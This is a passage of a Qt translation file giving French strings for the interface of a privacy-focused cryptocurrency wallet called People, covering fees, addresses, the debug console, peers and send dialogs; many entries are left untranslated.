<translation>Cet intitulé passe au rouge, si la taille de la transaction est supérieure à 10000 bytes.
Cela implique que des frais à hauteur d'au moins %1 par kb seront nécessaires.
Ceux-ci Peuvent varier de +/- 1 Byte par entrée.</translation>
</message>
<message>
<location line="+1"/>
<source>Transactions with higher priority get more likely into a block.
This label turns red, if the priority is smaller than "medium".
This means a fee of at least %1 per kb is required.</source>
<translation>Les transactions avec une priorité haute ont plus de chances d'être traitées en un block.
Rouge si votre priorité est plus petite que "moyenne".
Cela veut dire que des frais d'un minimum de %1 par kb sont requis</translation>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if any recipient receives an amount smaller than %1.
This means a fee of at least %2 is required.
Amounts below 0.546 times the minimum relay fee are shown as DUST.</source>
<translation>Ce label passe au rouge, Lorsqu'un destinataire reçoit un montant inférieur à %1.
Cela implique que des frais à hauteur de %2 seront nécessaire
Les montants inférieurs à 0.546 fois les frais minimum de relais apparaissent en tant que DUST.</translation>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if the change is smaller than %1.
This means a fee of at least %2 is required.</source>
<translation>Ce label passe au rouge, lorsque la différence est inférieure à %1.
Cela implique que des frais à hauteur d'au moins %2 seront nécessaires.</translation>
</message>
<message>
<location line="+40"/>
<location line="+66"/>
<source>(no label)</source>
<translation>(aucune étiquette)</translation>
</message>
<message>
<location line="-9"/>
<source>change from %1 (%2)</source>
<translation>monnaie de %1 (%2)</translation>
</message>
<message>
<location line="+1"/>
<source>(change)</source>
<translation>(monnaie)</translation>
</message>
</context>
<context>
<name>EditAddressDialog</name>
<message>
<location filename="../forms/editaddressdialog.ui" line="+14"/>
<source>Edit Address</source>
<translation>Modifier l'adresse</translation>
</message>
<message>
<location line="+11"/>
<source>&Label</source>
<translation>&Étiquette</translation>
</message>
<message>
<location line="+10"/>
<source>The label associated with this address book entry</source>
<translation>L'intitulé associé à cette entrée du carnet d'adresse</translation>
</message>
<message>
<location line="+7"/>
<source>&Address</source>
<translation>&Adresse</translation>
</message>
<message>
<location line="+10"/>
<source>The address associated with this address book entry. This can only be modified for sending addresses.</source>
<translation>L'intitulé associé à cette entrée du carnet d'adresse. Seules les adresses d'envoi peuvent être modifiées.</translation>
</message>
<message>
<location line="+7"/>
<source>&Stealth Address</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../editaddressdialog.cpp" line="+20"/>
<source>New receiving address</source>
<translation>Nouvelle adresse de réception</translation>
</message>
<message>
<location line="+7"/>
<source>New sending address</source>
<translation>Nouvelle adresse d’envoi</translation>
</message>
<message>
<location line="+4"/>
<source>Edit receiving address</source>
<translation>Modifier l’adresse de réception</translation>
</message>
<message>
<location line="+7"/>
<source>Edit sending address</source>
<translation>Modifier l’adresse d'envoi</translation>
</message>
<message>
<location line="+82"/>
<source>The entered address "%1" is already in the address book.</source>
<translation>L’adresse fournie « %1 » est déjà présente dans le carnet d'adresses.</translation>
</message>
<message>
<location line="-5"/>
<source>The entered address "%1" is not a valid People address.</source>
<translation>L'adresse "%1" renseignée n'est pas une adresse People valide.</translation>
</message>
<message>
<location line="+10"/>
<source>Could not unlock wallet.</source>
<translation>Impossible de déverrouiller le portefeuille.</translation>
</message>
<message>
<location line="+5"/>
<source>New key generation failed.</source>
<translation>Échec de génération de la nouvelle clef.</translation>
</message>
</context>
<context>
<name>GUIUtil::HelpMessageBox</name>
<message>
<location filename="../guiutil.cpp" line="+526"/>
<source>version</source>
<translation>version</translation>
</message>
<message>
<location line="+0"/>
<location line="+12"/>
<source>People</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-10"/>
<source>Usage:</source>
<translation>Utilisation:</translation>
</message>
<message>
<location line="+1"/>
<source>command-line options</source>
<translation>Options de ligne de commande</translation>
</message>
<message>
<location line="+4"/>
<source>UI options</source>
<translation>Options graphiques</translation>
</message>
<message>
<location line="+1"/>
<source>Set language, for example "de_DE" (default: system locale)</source>
<translation>Définir la langue, par exemple « fr_FR » (par défaut : la langue du système)</translation>
</message>
<message>
<location line="+1"/>
<source>Start minimized</source>
<translation>Démarrer en mode réduit</translation>
</message>
<message>
<location line="+1"/>
<source>Show splash screen on startup (default: 1)</source>
<translation>Affichage de l'écran de démarrage (défaut: 1)</translation>
</message>
</context>
<context>
<name>MessageModel</name>
<message>
<location filename="../messagemodel.cpp" line="+376"/>
<source>Type</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Sent Date Time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Received Date Time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>To Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>From Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>Send Secure Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send failed: %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+22"/>
<location line="+1"/>
<source>(no label)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>PaymentServer</name>
<message>
<location filename="../paymentserver.cpp" line="+107"/>
<source>Cannot start people: click-to-pay handler</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>PeerTableModel</name>
<message>
<location filename="../peertablemodel.cpp" line="+118"/>
<source>Address/Hostname</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>User Agent</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Ping Time</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>QObject</name>
<message>
<location filename="../guiutil.cpp" line="-470"/>
<source>%1 d</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 h</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 m</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<location line="+55"/>
<source>%1 s</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-10"/>
<source>None</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>N/A</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>%1 ms</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>RPCConsole</name>
<message>
<location filename="../forms/rpcconsole.ui" line="+46"/>
<source>Client name</source>
<translation>Nom du client</translation>
</message>
<message>
<location line="+10"/>
<location line="+23"/>
<location line="+26"/>
<location line="+26"/>
<location line="+23"/>
<location line="+23"/>
<location line="+36"/>
<location line="+23"/>
<location line="+36"/>
<location line="+23"/>
<location line="+23"/>
<location line="+491"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<location line="+23"/>
<source>N/A</source>
<translation>N.D.</translation>
</message>
<message>
<location line="-1062"/>
<source>Client version</source>
<translation>Version du client</translation>
</message>
<message>
<location line="-45"/>
<source>&Information</source>
<translation>&Informations</translation>
</message>
<message>
<location line="-10"/>
<source>People - Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>People Core</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+53"/>
<source>Using OpenSSL version</source>
<translation>Version d'OpenSSL utilisée</translation>
</message>
<message>
<location line="+26"/>
<source>Using BerkeleyDB version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+49"/>
<source>Startup time</source>
<translation>Heure de démarrage</translation>
</message>
<message>
<location line="+29"/>
<source>Network</source>
<translation>Réseau</translation>
</message>
<message>
<location line="+7"/>
<source>Name</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Number of connections</source>
<translation>Nombre de connexions</translation>
</message>
<message>
<location line="+157"/>
<source>Show the People help message to get a list with possible People command-line options.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+99"/>
<source>&Network Traffic</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+52"/>
<source>&Clear</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+16"/>
<source>Totals</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+64"/>
<location filename="../rpcconsole.cpp" line="+396"/>
<source>In:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+80"/>
<location filename="../rpcconsole.cpp" line="+1"/>
<source>Out:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+41"/>
<source>&Peers</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+39"/>
<location filename="../rpcconsole.cpp" line="-167"/>
<location line="+328"/>
<source>Select a peer to view detailed information.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Peer ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Direction</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Version</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>User Agent</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Services</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Starting Height</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Sync Height</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Ban Score</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Connection Time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Last Send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Last Receive</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Bytes Sent</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Bytes Received</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Ping Time</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Time Offset</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-866"/>
<source>Block chain</source>
<translation>Chaîne de blocks</translation>
</message>
<message>
<location line="+7"/>
<source>Current number of blocks</source>
<translation>Nombre actuel de blocks</translation>
</message>
<message>
<location line="+23"/>
<source>Estimated total blocks</source>
<translation>Nombre total estimé de blocks</translation>
</message>
<message>
<location line="+23"/>
<source>Last block time</source>
<translation>Horodatage du dernier block</translation>
</message>
<message>
<location line="+49"/>
<source>Open the People debug log file from the current data directory. This can take a few seconds for large log files.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Open</source>
<translation>&Ouvrir</translation>
</message>
<message>
<location line="+16"/>
<source>Command-line options</source>
<translation>Options de ligne de commande</translation>
</message>
<message>
<location line="+10"/>
<source>&Show</source>
<translation>&Afficher</translation>
</message>
<message>
<location line="+24"/>
<source>&Console</source>
<translation>&Console</translation>
</message>
<message>
<location line="-266"/>
<source>Build date</source>
<translation>Date de compilation</translation>
</message>
<message>
<location line="+206"/>
<source>Debug log file</source>
<translation>Journal de débogage</translation>
</message>
<message>
<location line="+109"/>
<source>Clear console</source>
<translation>Nettoyer la console</translation>
</message>
<message>
<location filename="../rpcconsole.cpp" line="-197"/>
<source>Welcome to the People Core RPC console.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.</source>
<translation>Utiliser les touches de curseur pour naviguer dans l'historique et <b>Ctrl-L</b> pour effacer l'écran.</translation>
</message>
<message>
<location line="+1"/>
<source>Type <b>help</b> for an overview of available commands.</source>
<translation>Taper <b>help</b> pour afficher une vue générale des commandes disponibles.</translation>
</message>
<message>
<location line="+233"/>
<source>via %1</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<location line="+1"/>
<source>never</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+9"/>
<source>Inbound</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Outbound</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Unknown</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<location line="+1"/>
<source>Fetching...</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>PeopleBridge</name>
<message>
<location filename="../peoplebridge.cpp" line="+410"/>
<source>Incoming Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>default</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+58"/>
<source><b>%1</b> to %2 (%3)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source><b>%1</b> to PEOPLE %2 (%3)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source><b>%1</b> PEOPLE, ring size %2 to PEOPLE %3 (%4)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source><b>%1</b> PEOPLE, ring size %2 to MEN %3 (%4)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<location line="+10"/>
<location line="+12"/>
<location line="+8"/>
<source>Error:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-30"/>
<source>Unknown txn type detected %1.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Input types must match for all recipients.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+12"/>
<source>Ring sizes must match for all recipients.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<source>Ring size outside range [%1, %2].</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+8"/>
<location line="+9"/>
<source>Confirm send coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-9"/>
<source>Are you sure you want to send?
Ring size of one is not anonymous, and harms the network.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<location line="+9"/>
<source> and </source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>Are you sure you want to send %1?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<location line="+25"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+6"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Coins</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-95"/>
<source>The change address is not valid, please recheck.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<location line="+376"/>
<source>The recipient address is not valid, please recheck.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-371"/>
<source>The amount to pay must be larger than 0.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The amount exceeds your balance.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your balance when the %1 transaction fee is included.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<location line="+365"/>
<source>Duplicate address found, can only send to each address once per send operation.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-360"/>
<source>Error: Transaction creation failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Narration is too long.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Ring Size Error.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Input Type Error.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Must be in full mode to send anon.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: Invalid Stealth Address.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your people balance when the %1 transaction fee is included.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error generating transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error generating transaction: %1</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+304"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-14"/>
<source>The message can't be empty.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<source>Error: Message creation failed.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The message was rejected.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+98"/>
<source>Sanity Error!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Error: a sanity check prevented the transfer of a non-group private key, please close your wallet and report this error to the development team as soon as possible.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../bridgetranslations.h" line="+8"/>
<source>Overview</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Receive</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transactions</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address Book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Chat</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Notifications</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet Management</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Add New Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Import Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Advanced</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Backup</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Backup Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Encrypt Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Change Passphrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>(Un)lock Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Tools</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Chain Data</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Block Explorer</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Sign Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Verify Message</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Debug</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>About People</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>About QT</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>QR code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Label:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Narration:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Amount:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>MEN</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>WOMEN</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>µMEN</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Peoplehi</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Add new receive address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Add Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Add a new contact</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address Lookup</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address Type</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-6"/>
<source>Normal</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Stealth</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-5"/>
<source>BIP32</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+6"/>
<source>Label</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Public Key</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transaction Hash</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Recent Transactions</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Market</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Advanced Options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Coin Control</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Make payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Balance transfer</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Select Inputs</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Automatically selected</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Quantity:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>After Fee:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Bytes:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Priority:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>LowOutput:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Change:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Custom change address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>From account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>PUBLIC</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>PRIVATE</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Balance:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Ring Size:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>To account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Pay to</source>
<translation type="unfinished"/>
</message>
<message>
<source>(no label)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+135"/>
<source>Tor connection offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>i2p connection offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Wallet is encrypted and currently locked</source>
<translation type="unfinished"/>
</message>
<message>
<source>Not staking because wallet is locked</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Wallet is syncing</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Open chat list</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a label for this address to add it to your address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a address to add it to your address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Inputs</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Values</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Outputs</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a PeopleCash address to sign the message with (e.g. SaKYqfD8J3vw4RTnqtgk2K9B67CBaL3mhV)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter the message you want to sign</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Click sign message to generate signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy the signed message signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a PeopleCash address to verify the message with (e.g. SaKYqfD8J3vw4RTnqtgk2K9B67CBaL3mhV)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter the message you want to verify</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a PeopleCash signature</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Paste signature from clipboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Your total balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Balances overview</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Recent in/out transactions or stakes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Select inputs to spend</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Optional address to receive transaction change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Choose from address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Paste address from clipboard</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Remove this recipient</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Current spendable send payment balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Current spendable balance to account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>The address to transfer the balance to</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>The label for this address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Amount to transfer</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send to multiple recipients at once</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Double click to edit</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Date and time that the transaction was received.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transaction status. Hover over this field to show number of confirmations.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Type of transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Destination address of transaction.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Short payment note.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Amount removed from or added to balance.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>The address to send the payment to (e.g. SXywGBZBowrppUwwNUo1GCRDTibzJi7g2M)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Choose address from address book</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a public key for the address above</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a label for this group</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Name for this Wallet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a password</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Would you like to create a bip44 path?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Your recovery phrase (Keep this safe!)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-80"/>
<source>Recovery Phrase</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+26"/>
<source>Make Default</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Activate/Deactivate</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set as Master</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>Not staking because wallet is offline</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>0 active connections to People network</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+26"/>
<source>The address to send the payment to</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a label for this address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter a short note to send with payment (max 24 characters)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+20"/>
<source>Wallet Name for recovered account</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Enter the password for the wallet you are trying to recover</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Is this a bip44 path?</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-66"/>
<source>ID</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-122"/>
<source>Narration</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Amount</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Default Stealth Address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Add Recipient</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Clear All</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Suggest Ring Size</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Send Payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>RECEIVE</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Filter by type..</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Type</source>
<translation type="unfinished"/>
</message>
<message>
